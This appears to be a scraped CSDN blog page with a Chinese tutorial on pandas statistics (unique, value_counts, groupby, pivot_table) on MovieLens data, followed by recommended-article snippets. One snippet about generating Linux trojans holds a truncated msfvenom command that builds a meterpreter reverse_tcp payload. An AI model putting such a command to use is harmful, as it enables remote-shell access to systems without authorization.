Python数据分析(三)—— Pandas数据统计_第3关:利用 pandas 实现数据统计分析-程序员宅基地

技术标签: pandas  # Python数据分析  python  数据分析  

本文主要介绍Pandas中的数据统计方法,部分使用的数据集为MovieLen 1M版本(m1-1m.zip)数据集。

import numpy as np
import pandas as pd

#加载数据集
fpath = r'datasets//'

usercol = ['uid','sex','age','occupation','zip']
ratcol = ['uid','mid','rating','timestamp']
movcol = ['mid','title','genres']

users = pd.read_table(fpath+'users.dat',sep='::',header=None, names=usercol,engine='python')
ratings = pd.read_table(fpath+'ratings.dat',sep='::',header=None, names=ratcol,engine='python')
movies = pd.read_table(fpath+'movies.dat',sep='::',header=None,names=movcol,engine='python')
data = pd.merge(pd.merge(users,ratings),movies)

1 简单统计

unique计算Series中的唯一值数组,按发现的顺序返回。
value_counts返回一个Series,索引为唯一值,值为频率,按计数值降序排列。

data.age.unique()

在这里插入图片描述

data.age.value_counts()

在这里插入图片描述

2 groupby

分组运算的过程被描述为split-apply-combine:数据根据提供的一个或多个键被拆分(split)为多组,拆分操作在对象的特定轴上执行的;然后将一个函数应用(apply)到各个分组并产生一个新值;最后所有函数的执行结果会被合并(combine)到最终的结果对象中。

在这里插入图片描述

import pandas as pd 
import numpy as np
df = pd.DataFrame({
    'col1':['a','a','b','b','a'],
                   'col2':['one','two','one','two','one'],
                   'data1': np.random.randn(5),
                   'data2': np.random.randn(5)})
df

在这里插入图片描述
groupby方法形成一个Groupby对象,没有进行任何实际计算,只是含有一些有关分组键的中间数据,即该对象已包含接下来对各分组执行运算所需的一切信息。

grouped = df.groupby(['col1','col2'])
grouped.mean()

在这里插入图片描述

3 pivot table

透视表(pivot table)根据一个或多个键对数据进行聚合,并根据行和列上的分组键将数据分配到各个矩形区域中。pivot_table()函数除能为groupby提供便利外,还可以添加分项小计(margins)。

pivot_table(values,index,columns,aggfunc,fill_value)

主要参数如下:

  • values:数据透视表中的值
  • index:数据透视表中的行
  • columns:数据透视表中的列
  • aggfunc:统计函数(应用到values上)
  • fill_value:替换NA值
df.pivot_table(index='col1',aggfunc='mean')
#df.groupby(['col1']).mean()

在这里插入图片描述

df.pivot_table('data1',index='col1',aggfunc='mean')
#df.groupby(['col1']).data1.mean()

在这里插入图片描述

df.pivot_table(['data1','data2'],index='col2',columns='col1',aggfunc='mean')
#df.groupby(['col1','col2']).mean().unstack()

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/apr15/article/details/122692542

智能推荐

两种内存池管理方法对比_非固定大小的内存池-程序员宅基地

文章浏览阅读1.9k次,点赞4次,收藏11次。目录一、问题背景二、两种内存池管理2.1 固定大小内存块分配(参考正点原子STM32F4 malloc.c)2.1.1 初始化2.1.3释放原理2.2 可变大小内存块分配(参考WSF BLE协议栈buffer management)2.2.1 初始化2.2.2 分配原理2.2.3 释放原理三、总结和对比一、问题背景最近在调试ambiq apollo..._非固定大小的内存池

MPEG TS流简介-程序员宅基地

文章浏览阅读3.1k次。TS简介MPEG-TS(Transport stream)即Mpeg传输流定义于ITU-T Rec. H.222.0和ISO 13818-1标准中,属于MPEG2的系统层。MPEG2-TS面向的传输介质是网络和卫星等可靠性较低的传输介质,这一点与面向较可靠介质如DVD等的MPEG PS不同。1. TS数据包TS流由TS数据包即Transport stream packet组成。TS p...

Deepin wine QQ/微信中文显示为方块的原因之一_wine 字体方块-程序员宅基地

文章浏览阅读984次。问题原因:目录下~/.deepinwine,查找乱码的应用Deepin-QQ、Deepin-WeChat,相同路径/drive_c/windows/Fonts下查看是否有字体,笔者发现没有任何字体,这就是原因所致,wine程序会在此处寻找字体,而不能直接利用linux系统的字体解决方法:把/usr/share/fonts/Fonts_Win下字体复制到这里,使wine应用程序能找到至少一种fallback字体,也可以在别的地方的fonts问价夹下,拷贝.ttf字体文件到这里..._wine 字体方块

整个元素周期表通用,AI 即时预测材料结构与特性-程序员宅基地

文章浏览阅读264次。编辑 | 绿萝材料的性质由其原子排列决定。然而,现有的获得这种排列的方法要么过于昂贵,要么对许多元素无效。现在,加州大学圣地亚哥分校纳米工程系的研究人员开发了一种人工智能算法,可以几乎即时地预测任何材料(无论是现有材料还是新材料)的结构和动态特性。该算法被称为 M3GNet,用于开发 matterverse.ai 数据库,该数据库包含超过 3100 万种尚未合成的材料,其特性由机器学习算法预测。M..._人工智能预测材料属性

Docker & Nvidia-docker 镜像基础操作_dokcer怎么使用nvidia作为基础镜像-程序员宅基地

文章浏览阅读5.8k次,点赞2次,收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多,下面记录一下基础的命令,为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动,CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像:nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像

测试生成攻击Linux操作系统的木马命令_linux msfvenom -p linux/x64/meterpreter/reverse_tc-程序员宅基地

文章浏览阅读312次,点赞6次,收藏9次。你看你以为黑客有多牛呢,都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监

随便推点

dwd明细粒度事实层设计_dwd层如何设计-程序员宅基地

文章浏览阅读1.8k次。目录1-数仓dwd事实层介绍2-数仓dwd层事实表设计原则3-数仓dwd层事实表设计规范4-建表示例1-数仓dwd事实层介绍明细粒度事实层以业务过程驱动建模,基于每个具体的业务过程特点,构建最细粒度的明细层事实表。您可以结合企业的数据使用特点,将明细事实表的某些重要维度属性字段做适当冗余,即宽表化处理。公共汇总粒度事实层(DWS)和明细粒度事实层(DWD)的事实表作为数据仓库维度建模的核心,需紧绕业务过程来设计。通过获取描述业务过程的度量来描述业务过程,包括引用的维度和与业务过程有关的度量。度量通常为_dwd层如何设计

Ambari 2.7.3.0 安装部署 hadoop 3.1.0.0 集群视频完整版_ambari2.7.3 hadoop 部署-程序员宅基地

文章浏览阅读1.5k次。一、前言很多小伙伴也都知道,最近一直在做 Ambari 集成自定义服务的教学笔记和视频。之前在准备 Ambari 环境的时候,考虑到有朋友会在 Ambari 安装部署时遇到问题,所以贴心的我呢,就在搭建 Ambari 环境的时候,把这个视频录制好了,总共时长共 87 分钟,将近1个半小时,附带移除 SmartSense 服务及 FAQ 。也提前介绍一下搭建好的 Ambari 相关版本信息:..._ambari2.7.3 hadoop 部署

使用R语言保存CSV文件_r软件保存为csv文件-程序员宅基地

文章浏览阅读881次。本文介绍了如何使用R语言保存CSV文件。我们使用write.csv函数将数据框保存为CSV格式。您只需提供要保存的数据对象和文件路径,即可轻松创建CSV文件。CSV文件是一种通用的数据交换格式,在数据分析和数据处理中广泛使用。希望本文对您有所帮助,祝您在R语言中保存CSV文件时顺利进行数据处理和分析!_r软件保存为csv文件

VR技术赋能数字经济发展新机遇,加快构建双循环新发展格局_vr商城建设对区域经济-程序员宅基地

文章浏览阅读498次。当下,数字化浪潮正重塑世界经济发展格局,数字经济正在成为全球经济可持续增长新引擎。我国超大规模的市场经济优势为数字经济发展提供了广阔而丰富的应用场景,也成为推动传统产业升级改造、加快”构建国内国际双循环相互促进的新发展格局“的重要引擎。据国家统计局数据显示:2020年第一季度,我国GDP呈现出6.8%的负增长态势。今年1月份至5月份,与互联网相关的新业态、新模式却继续保持逆势增长。全国实物商品网上零售额同比增长11.5%;实物商品网上零售额占社会消费品零售总额比重为24.3%,比去年同期提高5.4个百分点_vr商城建设对区域经济

HCS12X–数据定义(如何在CodeWarrior中将数据定义到分页区)_codewarrior数组如何定义-程序员宅基地

文章浏览阅读384次。由于在暑假匆忙接收的嵌入式项目中需要使用特别大的数组,非分页RAM的内存不够用了,没办法,硬着头皮尝试使用分页RAM,但是完全没有单片机的基础,导致极其的困难。之前写程序都是按照纯软件的思维,主要考虑架构,不会考虑到每个变量具体存在哪个物理地址这么底层的问题,结果被飞思卡尔这分页地址、prm文件什么的搞得一头雾水,而网上的资料又少,讲的又大同小异的笼统,最后写出来的程序因为这分页地址的原因存在各种_codewarrior数组如何定义

wed服务器简介_wed服务器的主要特点之一就是它具有十几个html文件连接到另一个html文件的能力称为-程序员宅基地

摘要:Web服务器是用于提供Web服务的软件,它通过HTTP协议来传输和接收网页和其他资源。在Inteet上,HTTP通信通常在TCP/IP连接上进行,使用端口号80。Apache是一种常见的Web服务器软件,其主程序为httpd,根目录为/var/www/html。

推荐文章

热门文章

相关标签